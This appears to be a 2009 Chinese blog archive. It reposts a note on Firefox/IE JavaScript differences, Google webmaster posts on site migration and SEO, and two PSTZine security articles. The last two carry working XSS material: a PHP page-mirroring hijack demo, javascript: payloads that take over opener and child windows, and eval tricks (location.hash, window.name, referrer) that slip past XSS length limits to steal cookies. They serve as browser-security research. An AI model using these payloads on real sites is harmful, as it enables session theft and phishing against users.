2009年6月25日星期四

7 JavaScript Differences Between Firefox & IE

Although the days of long and tedious code branches to target specific browsers in JavaScript are over, once in a while it’s still necessary to do some simple code branching and object detection to ensure that a certain piece of code is working properly on a user’s machine.

In this article, I’ll outine 7 areas where Internet Explorer and Firefox differ in JavaScript syntax.

1. The CSS “float” property

The basic syntax for accessing a specific css property for any given object is object.style.property, using camel casing to replace a hyphenated property. For example, to access the background-color property of a
whose ID is “header”, we would use the following syntax:
  1. document.getElementById("header").style.backgroundColor= "#ccc";
But since the word “float” is already reserved for use in JavaScript, we cannot access the “float” property using object.style.float. Here is how we do it in the two browsers:

The IE Syntax:

  1. document.getElementById("header").style.styleFloat = "left";

The Firefox Syntax:

  1. document.getElementById("header").style.cssFloat = "left";

2. The Computed Style of an Element

JavaScript can easily access and modify CSS styles that have been set on objects using the object.style.property syntax outlined above. But the limitation of that syntax is that it can only retrieve styles that have been set inline in the HTML or styles that have been set directly by JavaScript. The style object does not access styles set using an external stylesheet. In order to access an object’s “computed style”, we use the following code:

The IE Syntax:

  1. var myObject = document.getElementById("header");
  2. var myStyle = myObject.currentStyle.backgroundColor;

The Firefox Syntax:

  1. var myObject = document.getElementById("header");
  2. var myComputedStyle = document.defaultView.getComputedStyle(myObject, null);
  3. var myStyle = myComputedStyle.backgroundColor;

3. Accessing the “class” Attribute of an Element

As is the case with the “float” property, our two major browsers use different syntax to access this attribute in JavaScript.

The IE Syntax:

  1. var myObject = document.getElementById("header");
  2. var myAttribute = myObject.getAttribute("className");

The Firefox Syntax:

  1. var myObject = document.getElementById("header");
  2. var myAttribute = myObject.getAttribute("class");
This syntax would also apply using the setAttribute method.

4. Accessing the “for” Attribute of the

Similar to number 3, we have different syntax to access a

The IE Syntax:

  1. var myObject = document.getElementById("myLabel");
  2. var myAttribute = myObject.getAttribute("htmlFor");

The Firefox Syntax:

  1. var myObject = document.getElementById("myLabel");
  2. var myAttribute = myObject.getAttribute("for");

5. Getting the Cursor Position

It would be rare that you would want to find the cursor position of an element, but if for some reason you need to, the syntax is different in IE and Firefox. The code samples here are fairly basic, and normally would be part of a much more complex event handler, but they serve to illustrate the difference. Also, it should be noted that the result in IE will be different than that of Firefox, so this method is buggy. Usually, the difference can be compensated for by getting the “scrolling position” — but that’s a subject for another post!

The IE Syntax:

  1. var myCursorPosition = [0, 0];
  2. myCursorPosition[0] = event.clientX;
  3. myCursorPosition[1] = event.clientY;

The Firefox Syntax:

  1. var myCursorPosition = [0, 0];
  2. myCursorPosition[0] = event.pageX;
  3. myCursorPosition[1] = event.pageY;

6. Getting the Size of the Viewport, or Browser Window

Sometimes it’s necessary to find out the size of the browser’s available window space, usually called the “viewport”.

The IE Syntax:

  1. var myBrowserSize = [0, 0];
  2. myBrowserSize[0] = document.documentElement.clientWidth;
  3. myBrowserSize[1] = document.documentElement.clientHeight;

The Firefox Syntax:

  1. var myBrowserSize = [0, 0];
  2. myBrowserSize[0] = window.innerWidth;
  3. myBrowserSize[1] = window.innerHeight;

7. Alpha Transparency

Okay, this is not a JavaScript syntax issue — alpha transparency is set via CSS. But when objects fade in and out via JavaScript, this is done by accessing CSS alpha settings, usually inside of a loop. The CSS code that needs to be altered via JavaScript is as follows:

The IE Syntax:

  1. #myElement {
  2. filter: alpha(opacity=50);
  3. }

The Firefox Syntax:

  1. #myElement {
  2. opacity: 0.5;
  3. }
So, to access those values via JavaScript, we would use the style object:

The IE Syntax:

  1. var myObject = document.getElementById("myElement");
  2. myObject.style.filter = "alpha(opacity=80)";

The Firefox Syntax:

  1. var myObject = document.getElementById("myElement");
  2. myObject.style.opacity = "0.5";

Of course, as mentioned, normally the opacity/alpha would be changed in the midst of a loop, to create the animating effect, but this simple example clearly illustrates how it’s done.

2009年5月7日星期四

网站迁移的最佳方法

转载自:http://www.googlechinawebmaster.com/2008/05/blog-post.html

您正在计划为自己的网站更换新的域名吗?很多网站管理员发现这真是一个繁琐的过程。究竟怎样做才能不影响网站在谷歌搜索结果中的表现呢?
您希望这种迁移对于用户来说是毫无察觉地发生的,同时希望谷歌知道新页面应该与原网站页面得到相同的质量认可。当您迁移网站时,那些讨厌的404误提示(无法找到文件) 不仅会伤害用户体验,还会给您的网站在谷歌搜索结果中的表现带来负面影响。

本文将介绍如何稳妥地将您的网站搬到一个新域名(例如从www.example.com变为www.example.org)。这与将网站搬到一个新的IP地址是不同的,如果想了解这方面的内容请阅读此文

网站迁移的主要步骤如下:
  • 首先通过移动一个目录或子域名的内容来测试整个网站的迁移过程。然后使用301重定向功能将原有网站网页重定向到您的新网站上。通过此方法可告知谷歌和其它搜索引擎:您的网站已经永久性地迁移了。
  • 上述操作完成后,查看一下您新网站里的网页能否出现在谷歌的搜索结果里。如果您对这次小范围的迁移感到满意,就可以迁移整个网站了。请不要将旧网站中所有网页的流量都重定向到您的新主页上,这种一刀切式的重定向虽然会避免404错误,但它并不能为用户提供良好的体验。尽管页对页的重定向(旧网站中每一网页都重新定向到新网站的相应网页上)会带来更大的工作量,但这也会给您的用户带来更连贯和明晰的体验。如果在新旧网站中不是一对一的页面匹配,那么一定要努力确保旧网站中每一个网页至少要重定向到具有类似内容的新网页上。
  • 如果网站因为要重新命名或重新设计而需变更域名,您可以分两个阶段进行:第一阶段,移动您的网站;第二阶段,开始重新设计。这样做,不仅可以掌控用户在每一阶段中感受到的变化幅度,而且可以使整个过程变得更顺利。把变化控制在最低限度可以使您更容易发现和解决各种意外情况。
  • 检查您网站网页的内、外部链接。理想的情况是您应该联络每个链接到您网站上的其他网站的管理员,让他们把链接指向您新域名的相应网页。如果这难以实现,您要确保原网站中所有含有其他网站链接指向的网页都被重定向到您的新网站上。您也应该检查并更新所有旧网站里的内部链接,使它们指向新域名。当您的网站内容已经在新服务器上准备就绪后,您可以使用一个诸如Xenu的链接检查工具来确认在您的新站点上没有遗留的故障链接。这一点特别重要,如果您的原始内容包含绝对链接(如www.example.com/cooking/recipes/chocolatecake.html )而不是相对链接(如 …/recipes/chocolatecake.html)的话。

  • 为防止混淆和混乱,您最好继续持有对原网站域名的控制权限至少180天。
  • 最后,确保您的新、旧网站都在网站管理员工具中得到验证,并定期检查抓取错误,确保来自旧网站的301重定向工作正常,同时新网站上也不会显示我们不想看到的404错误提示。
我们承认,迁移从来就不是一件容易的事 —— 但是,这些步骤能帮助您确保原有网站的良好声誉在迁移的过程中不受损失。

2009 厦门SMX大会 Part II

转载自:http://www.googlechinawebmaster.com/2009/05/2009-smx-part-ii.html

在四月九日、十日的两天会议中,我们在会场设置了展台,很高兴与很多网站管理员进行了面对面的交流, 也很高兴了解到越来越多的站长开始关注和喜欢谷歌的搜索。我们欢迎广大的站长在这里继续留下评论, 如果有问题可以到谷歌网站管理员论坛上面与我们交流。

来自谷歌中文反网络作弊组的资深工程师朱凯华做了题为“ 谷歌搜索引擎优化” 的演讲,站在提高搜索质量和提升用户体验的角度,分享了如何利用谷歌提供免费资源和工具来提高网站质量,例如参考谷歌搜索引擎优化初学者指南。他建议在优化网站的时候,首先要考虑用户的体验,优化的方面可以包括例如标题和元标签、URL、站内导航、404页面等方面;同时他也纠正了大家的一些误解,比如 URL 一定要静态化等等;除此以外,还分享了谷歌搜索最近推出的新功能,利用 rel="canonical" 指定URL的范式 。朱凯华特别强调的是,一切的改变都应该为用户考虑,增加价值,例如:提供原创的内容或者服务。在演讲的最后,朱凯华还提供了一个列表,其中列举了谷歌网站管理员工具的主要功能,和谷歌提供的有关搜索免费资源,包括优化方面的指南和建议。

为了方便没有机会参加会议的站长了解这个演讲的内容,我们附上了他使用的演示文档

朱凯华在演讲之后还与现场的听众进行了互动交流,以下是他对主要问题的回答:

1. 问:我的网站刚刚把动态的 URL 全都静态化了,会不会对 Google 收录有影响?在 Google 网站管理员工具里面出现了警告,应该怎么办?

答:首先,我们并不鼓励为了搜索引擎而做静态化的 URL,Google 可以很好的理解多种 URL 结构和含义,比如动态的和静态的。而且在静态化过程中如果处理不当,反而可能导致搜索引擎重复抓取。

如 果是出于用户体验和网站管理的角度已经做了静态化的 URL,并且如果别的网站有通过旧的(动态)URL指向您的链接,这个时候建议您使用 301 重定向,把它们重定向到静态化以后的 URL 上去,以免损失 “声誉值”。如果已经有用户收藏了你的页面,并且通过旧的 URL 来访问,这么做对他们也有帮助。

至于您的第二个问题,既然在网站管理员工具中看到了警告,您应该依照提示分析出现警告的原因,并作出相应的调整。

2. 问:到我网站上的链接有很多页面会返回404,会不会影响我在 Google 的排名?

答:对于一个不存在的 URL,建议返回一个404响应代码,而不鼓励返回200响应代码。这样做会避免 Google 对404页面的重复抓取,对您的网站的收录也有帮助。如果是一个正常的404,请你不用担心,这并不会影响你的网站的 “声誉”。

但是,过多的坏链也会影响到用户的体验,令用户觉得沮丧。所以我们建议您修正这些链接。你可以用301重定向将用户和Googlebot带到一个有用的页面,而不是一个出错页面。此外,您也可以考虑采用类似于Google的增强型404页面工具 ,使得404页面对用户更加有用。

3.问:可不可以介绍一下谷歌的搜索技术?谷歌是怎么做到在海量的网页中搜索到需要的信息的?

答:谷歌的搜索技术是我们最为感到自豪的,尽管如此,我们仍然在不断努力提高技术,满足用户的需求。在这里我没有时间详细地介绍这些,如果您对这个问题感兴趣的话,非常欢迎您来我们的网站,阅读公司信息中的Google技术 ;Google 负责搜索质量的工程副总裁 Udi Manber 写的博客,Google搜索质量介绍;如果您愿意阅读英文,可以参考Google的两位创始人 Sergey Brin 和 Larry Page 发表于 1998 年的论文The Anatomy of a Large-Scale Hypertextual Web Search Engine

4.问:目前字母比较少的 .cn 的域名似乎已经被注册的差不多了,我开始申请和使用其他国家的域名,是不是会影响我的网站的排名?

答: 谷歌会尝试对用户的查询返回最相关的结果,不论这些结果是来自.cn .com .es或者其他顶级域名。当用户把他们的查询限制到一个特殊的地理区域时,一个网站的顶级域名会影响到我们对是否相关的判断。但是我们同时也会考虑到其他 因素,例如,服务器的地理位置。当您的域名是.com、.org、.asia 这种与地域无关的顶级域名时,您可以在 Google 网站管理员工具中设定一个目标地理区域。

这样做的同时,您也应该考虑到您的用户,如果绝大多数用户是来自中国的,而你使用的域名是外国的,这样会影响到中国用户访问您的网站时域名解析所需要的时间。

5.问:我的网站在准备的阶段注册了一个域名,同时也在使用三个做备选域名,后来另外三个被不小心启用了,这样就有了四个一样的镜像网站,现在每个网站都会有一些被收录页面,这样的做法对我的网站有什么影响吗?我应该怎么做?

答:这种情况下您应该把这三个备选域名用 301 重定向到你的主要域名上。具体的做法可以参考这篇博客网站迁移的最佳方法

6.问:我的网站是英文的,也有很多来自印度的用户,但是服务器在美国,这样会不会影响我的网站在 Google 印度的排名?

答: 谷歌希望提供最相关的搜索结果给用户,无论网站的服务器在哪里。但是同时,这也取决于用户查询的关键词,通常在选择了“某地的网页”,例如 “印度的网页” 之后差别就会很明显。如果您有一个最好的关于“魔兽争霸”游戏经验的网站,当用户搜索“魔兽争霸攻略”的时候,无论你的服务器在哪里都不应该影响网站排 名;但是,如果用户查找的本地服务,比如 “银行”,结果应该有更多的印度本地的网站。尤其是当用户选择了 “印度的网页” 之后,您的网站的服务器如果是在美国,出现在搜索结果里面的可能性就会变小。

7.问:听说最近谷歌的算法有一个调整,是关于线下大品牌的。我们是一个大品牌,在互联网上应该如何让 Google 知道呢?

答:Matt Cutts 在英文的网站管理员频道中有一段视频, 对此做出了解释。 正如他说的,这个变化并不是针对品牌的,而是关于一个网站本身的 “权重,声誉,信任”。其实 Google 的算法在不断优化中,每年都会有 300 - 400个关于排名的调整,平均每天都有变化,而所谓的 Vince's change 只是众多调整中的一个。无论您是不是一个大品牌,您最好都不要因为 Google 个别的算法调整而担忧,努力提高网站本身的质量才是长久之计。

很高兴这次有机会在厦门和这么多站长进行了互动,希望下次能和更多的站长进行面对面的交流!

2009年5月6日星期三

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

转载自:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x05.txt
[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考


一、前言

最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。


三、理解window对象的同源策略

窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
这些属性和方法就必须遵循同源策略。

举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
--demo.html--------------------------------------------------------------------
<script language="javascript">
function allPrpos(obj) {
var props = "<table><tr><td>名称</td><td>值</td>";
for(var p in obj){
if(typeof(obj[p])=="function"){
obj[p]();
}else{
try
{
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
}
catch (ex)
{
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
}
}
}

document.write(props+"</table>");
}

function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------


四、窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
行测试,会发现父窗口可以控制非同源子窗口location属性值。

--vul1.html--------------------------------------------------------------------
<script language="javascript">
function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);

-------------------------------------------------------------------------------


五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
以做更多的事情,所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
</script>
-------------------------------------------------------------------------------
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


六、利用XSS漏洞劫持浏览器

延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
讨论跨站师的终极技巧:


6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------


6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------


6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS,如下:

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------
6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
异常处理规避之间跨域页面的访问异常,代码如下:

--code-------------------------------------------------------------------------

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面,从而实现“隔空打击”。

同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。


6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
师的终极目标 - 完全控制浏览器。


七、后记

文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

突破XSS字符数量限制执行任意JS代码

转载自:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x04.txt
[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考

一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
极端情况下的XSS漏洞。

突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:

--code-------------------------------------------------------------------------
<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
-------------------------------------------------------------------------------
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
--code-------------------------------------------------------------------------
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
-------------------------------------------------------------------------------
长度:28 + len(id)

由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
最后:
--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:30

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:31

上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个
字符:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:29

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:30
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:

--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
-------------------------------------------------------------------------------

长度:29

这样比上面的例子又少了一个字符。那么还可以更短么?

2.3 JS上下文的利用

为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:

String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...

就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的
简化函数,最经典的例子就是:

--code-------------------------------------------------------------------------
function $(id) {
return document.getElementById(id);
}
-------------------------------------------------------------------------------

这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:

--code-------------------------------------------------------------------------
function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
-------------------------------------------------------------------------------

长度:len(函数名) + len(url) + 5

当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
--code-------------------------------------------------------------------------
function get(url) {
...
return x.responseText;
}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
-------------------------------------------------------------------------------

长度:len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:

JQuery
YUI
...

综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
们的代码,进而突破长度限制执行任意代码。
2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了
Payload,被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面:

--code-------------------------------------------------------------------------
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
-------------------------------------------------------------------------------
被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:34

这种方式利用上还有一些问题,如果使用location.href或者<meta equiv="refresh">
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
--code-------------------------------------------------------------------------
<script type="text/javascript">
<!--
window.onload = function(){
var f = document.createElement("form");
f.setAttribute("method", "get");
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
document.body.appendChild(f);
f.submit();
};
//-->
</script>
-------------------------------------------------------------------------------
2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
取并执行该数据。

攻击者构造的页面:

--code-------------------------------------------------------------------------
<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
-------------------------------------------------------------------------------

被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
-------------------------------------------------------------------------------

长度:36

这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。

2.4.3 窗口名window.name

这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
据的,但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS
或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:

攻击者构造的页面:

--code-------------------------------------------------------------------------
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>
-------------------------------------------------------------------------------

被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(name);</limited_xss_point>
-------------------------------------------------------------------------------

长度:11

这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
的技巧,这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
章来探讨。


2.5 以上的方式结合使用

以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
中,灵活的组合上面的方法可能会起到奇效。


三、后记

JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
和我交流!

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

本文是纯粹的技术探讨,请勿用于非法用途!


四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

2009年4月27日星期一

域名买卖与SEO

